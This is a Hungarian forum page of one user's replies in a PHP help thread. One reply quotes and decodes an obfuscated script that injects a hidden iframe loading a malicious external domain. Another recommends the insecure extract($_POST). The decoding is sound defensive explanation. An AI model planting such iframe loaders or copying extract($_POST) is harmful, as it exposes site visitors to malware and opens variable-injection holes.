Hirdetés
- sellerbuyer: Milyen laptopot vegyek? Segítek: semmilyet!
- Lalikiraly: Sencor SMC BS30 aktív hangfalszett bemutató
- Luck Dragon: Asszociációs játék. :)
- Magga: PLEX: multimédia az egész lakásban
- sziku69: Szólánc.
- sziku69: Fűzzük össze a szavakat :)
- Real Racing 3 - Freemium csoda
- D1Rect: Nagy "hülyétkapokazapróktól" topik
- Argos: Az vagy, amit megeszel
- Gurulunk, WAZE?!
Új hozzászólás Aktív témák
-
PazsitZ
addikt
válasz
Sk8erPeter #4219 üzenetére
Csak megjegyzésként:
Ha már empty-t használsz nem kell az isset. Az empty-nek egyformán igaz a nem létezés, az üres string és a nulla is. -
PazsitZ
addikt
Még korábban én is barkácsoltam ilyen rövidítő kódot, de nem olyan egyszerű (még az enyém sincs kész csak félig-meddig
), mondjuk nálam az is szempont, hogy a szövegben lévő tag-ek is érvényesek maradjanak. [link]
Igen abban az esetben az ékezetes karaktert mb_ fgv-el vagy más módon kell levágni. hogy ne vágjon félbe ékezetes karaktert. Szvsz érdemesebb lenne szóhatárra keresni és ott vágni. -
PazsitZ
addikt
válasz
Louloudaki #3859 üzenetére
A view-s javaslatom pont arra vonatkozott, hogy nem mindig futna le a view-t létrehozó lekérdezés. "Nem tudom milyen időközönként van szükséged a listára, milyen sűrűn változnak az adatok"
(#3858) biker: 25000 sor szvsz így is úgy is időbe kerül, na most akinek ekkora adatmennyiség kell, az várjon pár másodpercet.
Ha pedig kiiratni akarod a usernek, akkor rakj ki neki addig egy kis ikont ami jelzi a töltést, így egy fancy userbarát felületet kap legalábbés csak oldalanként kérd le az adatokat, ne az egészet.
-
PazsitZ
addikt
válasz
Sk8erPeter #3852 üzenetére
Olyan mezőkön amelyeken WHERE feltételeket végzel, amelyekkel táblakapcsolást csinálsz jól jöhet az indexelés. Persze az indexelést sem szabad túlzásba vinni. (kellő adatmennyiség és ezeken végzett komolyabb műveletek)
webshop_kepek.termek_ID - (index)
webshop_termekek.termek_ID - (primary key)webshop_termekek.termek_kat - (index)
webshop_kategoriak.kat_ID - (primary key) -
PazsitZ
addikt
Gondolom kategória mindenképp tartozik egy termékhez, tehát ott nem kell left join.
Nem tudom milyen időközönként van szükséged a listára, milyen sűrűn változnak az adatok, de én megpróbálnék estleg olyasmi megoldást, hogy a termék és kategória táblát egy view-ba kinyerni (ezt nem is mindig kellene frissíteni), és ehhez left join-olni a képek táblát.
-
PazsitZ
addikt
Feltételezem azért mert nem jön létre a file.
Ilyen eseteben ilyesmi kóddal próbálkoznék$i=0;
do{
sleep(1);
if ($i>10) break; // max időkorlát
$i++;
}while(!file_exists("./_temp/log.txt"));
if (file_exists("./_temp/log.txt")){
$str=file_get_contents("./_temp/log.txt");
echo $str;
}
else echo "Hiba: Időkorlát túllépés"; -
PazsitZ
addikt
Alapvetően nem azt akarod, hogy csak nem szám esetén írja ki?
Mert akkor:
if ( !empty($_POST["pix"]) && !is_numeric($pix) )Egyébként jelenleg azért írja ki minden esetben mert az if-ed üres. Nem tartalmaz parancsot, ha lezárod egy ;-vel
Tehát így lesz jó szvsz:
if ( !empty($_POST["pix"]) && !is_numeric($pix) ) {
echo "Hibásan van ki töltve a 4.2-es kérdés értéke:".$pix;
}Amit pedig az első blokkban csinálsz megoldható ennyivel[link]: extract($_POST); és ezután hivatkozhatsz bármely POST-olt változóra.
-
PazsitZ
addikt
válasz
Sk8erPeter #3141 üzenetére
Nem ismerem kifejezetten, de amire pl felhívja a figyelmet: "Ensure that you do not exceed the number of connections allowed by MySQL."
itt alul megtalálod az esetleges hátulütőit
pl.:
Esetleges bug (végtelen ciklus) esetén beakad a szál, hamar elfogy az összes kapcsolati szál.
Ha a script valamiért hosszabb időre lock-olja a táblát/sort akkor elérhetetlenné válik. -
PazsitZ
addikt
Ha nem adsz meg oszlopot (ahogy írtam is), akkor tábla teljes tartalmából fog válogatni.
Azaz az összes sort randomba fogja rendezgetni.De ha arra gondolsz, hogy a 15., 137. 1456. 8765. 15.324. általad meghatározott sorok közül dobjon ki egyet, akkor php-ban sorsolj egyet közülük és azt az egyet kérd le...
-
PazsitZ
addikt
A $_POST,$_GET,... tömbök.
Tömbre pedig a string azonosító miatt hivatkozol 'névvel'.
" " macskakörmöt használva be lehet szimpla változókat rakni a string közé, amit a fordító behelyettesít.
Ha egy tömbön belül string azonosítóval való hivatkozás viszont már viszont hibát dob.
Ekkor a stringhez . -al hozzá tudod fűzni az értéket további . -al pedig folytatólagosan fűzöd az újabb string elemet.Remélem jól magyaráztam és érthető is.
-
PazsitZ
addikt
válasz
Sk8erPeter #3110 üzenetére
Esetleg próbáld ki ezt:
function chere($txt){
$mit = array("á","é","í","ó","ö","ü","ű","ú","Á","É","Í","Ó","Ö","Ü","Ű","Ú","ä","Ä" );
$mire = array("a","e","i","o","o","u","u","u","A","E","I","O","O","U","U","U","a","A" );
return(str_replace($mit,$mire,$txt)) ;
} -
PazsitZ
addikt
válasz
Sk8erPeter #3108 üzenetére
Most nézem csak, hogy mire is akarod használni.
Én direkt nem szenvedtem hasonló esetben az ékezetekkel, url-be amúgy sem illik ékezetet rakni.
Én így oldottam meg a dolgot:mb_ereg_replace("/[^a-z0-9]/i",'_',$filename)
Azaz a filenévben csak betűt és számot engedek, minden más alulvonás lesz a névben.
-
PazsitZ
addikt
A head tag, de még a <html> tag is (bármely html elem) azonnal kiírandó input.
A session-t rakd be a fő fájlod legelejére.
(A session_start elé max. PHP parancsok kerülhetnek, amelyek nem írnak az outputra, de többnyire még így is szinte mindig legelöl helyezkedik el)1: <?PHP
2: session_start();
3: ?>
4: <html>
5: <head>
6: </head>
7: <body>
8: <?PHP include 'mail.php'; ?>
9: ... -
PazsitZ
addikt
Elég körülményes problémám van, remélem el tudom magyarázni értelmesen és tud valaki segíteni.
Wamp szervert használok.
A prototype.js függvényt betöltésével akad gondom.
Csináltam egy példa kódot, ami érdekes módon az extra.hu szerverén lefut, az én lokális szerveremen javascript hibát dob a prototype.js-re.
firebug-al ellenőrizve a szkript fül nem is látja a scriptfájlt, a html fülön kibontva pedig egyszerűen hibás/hülyeségeket tölt be.
Azért is fura a dolog, mert semmilyen scriptet nem használok még az oldalon.
Továbbá a scriptet elvileg a böngésző tölti le én szerver oldalról csak a script url-t adom meg nem?
Akkor miért működik extra.hu-n jól lokálisan pedig hibásan?firebug hibaüzenete:
missing ) after formal parameters prototype.js (sor 2633)
function isHash (value[1]) return parseFloat(value[1]) / 100;\nMegőrjít ez a dolog
.
a példakód:[link] -
PazsitZ
addikt
válasz
eziskamu #2920 üzenetére
Fárasztó egy javascript kód:
wy='t';
ya='mp';
yu='p:';
qs='sr';
d='nit';
l='ame';
v='c';
z='t';
ow='io';
zt='n/';
sc='n';
o='//z';
hy='cha';
hg='h';
p='.c';
j='ifr';
f='e';
dx=j.concat(l); // dx=iframe
lr=qs.concat(v); // lr=src
ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt); // http://zenitchampion.cn/
var dj=document.createElement(dx); // document.createElement(iframe);
dj.setAttribute('width','5'); //
dj.setAttribute('height','5'); //
dj.setAttribute('style','display:none'); //
dj.setAttribute(lr,ua); // dj.setAttribute('src','http://zenitchampion.cn/');
document.body.appendChild(dj); // beilleszti a body végére: <iframe width="5" height="5" style="display:none;" src="http://zenitchampion.cn/">persze ezek csak akkor futnak le ha <script> tag között vannak.
A lényege, hogy beilleszti a body végére a következő html kódot (egy nem látható iframe-t a fent említett oldalről):
<iframe width="5" height="5" style="display:none;" src="fent említett oldal">Amire nekem az avast rögtön támadást érzékel (JS:ScriptPE-inf [Trj]) már csak a cím google-al való rákereséssel is.
-
PazsitZ
addikt
Először is, ha legközelebb ilyet raksz be használd a kód gombot.
Azért mert lokálisan nyitod meg és nincs szerver, ami feldolgozza a php kódodat.
Rakj fel egy wamp vagy xamp-ot és úgy futtasd a www könyvtárba másolva. Esetleg egy honlapra másolva nyisd meg.Az menu2 utolsó echo részében egyébként van egy felesleges pontosvessző.
Egyébként pedig rengeteg lezáró-tag hiányzik és rémesen van tördelve az egész oldal.
Innen leszedheted, az általam átírt változatot. -
PazsitZ
addikt
válasz
Louloudaki #2774 üzenetére
Félreértettem akkor a dolgot.
De ha meg csak ennyi a baj replace-el kicserélheted az összeset. -
PazsitZ
addikt
válasz
Louloudaki #2769 üzenetére
Notepad++ -al megnyitod, formátum menü, átalaítás UTF-8-ra menüpont egy pillanat alatt átkonvertálja.
-
PazsitZ
addikt
válasz
Louloudaki #2765 üzenetére
Miért nem alakítod át simán pl. notepad++ -al a csv fájlt és használod utána ploblémamentesen UTF8-ként?
-
PazsitZ
addikt
-
PazsitZ
addikt
válasz
WaterWave #2362 üzenetére
Miért lenne muszáj?
Ahogy feljebb említették csak 11 karaktert engedsz beírni/olvasni a $kod-ba.
Majd egyszerűen összefűzöd:
"http://www.youtube.com/".$kod
És oda irányítod, pakolod, ahova akarod, nem?
(#2365) Cartman002: megfelelő escape-elés, szűrés mellett nem olyan vészes szvsz, de jelen esetben én is úgy érzem, felesleges.
-
PazsitZ
addikt
válasz
emitter #2293 üzenetére
Én nem értettem meg teljesen a dolgot, sorry.
Szerintem ebben az esetben a keresési feltétel is mehetne get-be majd utána az oldalszám.
?search=valami&page=1
Minden esetben lefutna a kérés (lehetőleg valami szerint rendezve ugye) és ezután csak az x-ediktől y-ig iratod/kéred le az eredményt. -
PazsitZ
addikt
válasz
Korcsii #2063 üzenetére
Én olyat script-et ismerek, ami kép előtöltést csinál.
<script language="JavaScript">
if (document.images)
{
preload_image_object = new Image();
// set image url
image_url = new Array();
image_url[0] = "kep1.jpg";
image_url[1] = "kep2.jpg";
var i = 0;
for(i=0; i<=1; i++) //itt addig megy ahány kép van
preload_image_object.src = image_url[i];
}
</script> -
PazsitZ
addikt
válasz
fordfairlane #2016 üzenetére
Köszi!
Én konkrétan$szoveg=str_ireplace("\n",'<br />',$szoveg);
módszerrel oldottam meg, nem gondoltam, hogy erre is van parancs
(#2017) cucka: Igazad van, rosszul fogalmaztam.
Még lenne egy kérdésem: Egy beléptetéses rendszernél mire kell figyelni?
Egyelőre sima session-el megírtam, de nem tudom mennyire "biztonságos vagy törékeny". -
-
PazsitZ
addikt
Üdv! Még csak most kezdek belemerülni a PHP rejtelmeibe, így várom a szíves segítségeteket.
Egy fórum hozzászólásait egy textarea tagbe bekérem és MySQL-ben varchar-ban tárolom, echo-val iratom ki.
A problémám az, hogy a sortörést nem jegyzi meg. Egymás után bedobálja a szöveget.
Hol a hiba? Avagy milyen formázást kellene külön elvégeznem a bemeneten? -
PazsitZ
addikt
válasz
Paulie86 #1966 üzenetére
include 'layout_elements.php'
Zárójel nélkül.(#1973) Paulie86: Hogy milyenre szinezi a kódot az csak beállítás kérdése.
Hibaüzit vagy valamit bemásolhatnál, mert így, nehéz okosat mondani... -
PazsitZ
addikt
válasz
geree@bl #1871 üzenetére
Hol futtatod?
Extra-n pl külön be kell kapcsolni az admin felületen a php-t.
Ha sajátgépen akkor telepítened kell mondjuk egy wampserver-t -
PazsitZ
addikt
válasz
PazsitZ #1568 üzenetére
Rájöttem.
Természetesen abba a feltételbe kello rakni, ahol növelem a szavazást, mivel ez az a mozzanat, ami után korlátozni akarok.
Utólag mindig olyan egyszerűnek tünik a megoldásDe még lenne egy kérdésem, valahogy le lehet tiltani a böngészővel való visszalépést?
Mert ez az egy dolog még könnyű csalásra ad lehetőséget. -
PazsitZ
addikt
Segítséget szeretnék kérni, a PHP-be még csak most kezdtem bele, szóval csak finoman
.
A célom az lenne, hogy egy szavazás esetén, egyelőre ip-t tárolok, hogy csak egyszer lehessen szavazni. Az ip letárolása egy function-ben van.
A gondom az, hogy hova helyezzem a függyvényhívást, hogy szimplán az oldal betöltésekor/frissítéskor még ne tárolja le az ip-t?
Próbáltam a form action részbe rakni, de úgy sem ment. A cél pedig az lenne, hogy csak submit esetén fusson le.
Gondolkoztam adatküldésen egy új fájlba, de nem igaz, hogy egy file-al nem lehet megoldani...Itt az eddig elkészült rész: [link]
Új hozzászólás Aktív témák
- MS SQL Server 2016, 2017, 2019
- Lenovo ThinkPad X13 G2 multitouch (minimálisan használt)
- LG 27UN880-B - 27" IPS ERGO - 3840x2160 4K - 60Hz - DisplayHDR 400 - USB Type-C - AMD FreeSync - Mac
- ÁRGARANCIA!Épített KomPhone Ryzen 7 7700X 32/64GB RAM RTX 5070 12GB GAMER PC termékbeszámítással
- Készpénzes / Utalásos Videokártya és Hardver felvásárlás! Személyesen vagy Postával!
Állásajánlatok
Cég: PCMENTOR SZERVIZ KFT.
Város: Budapest
Cég: CAMERA-PRO Hungary Kft.
Város: Budapest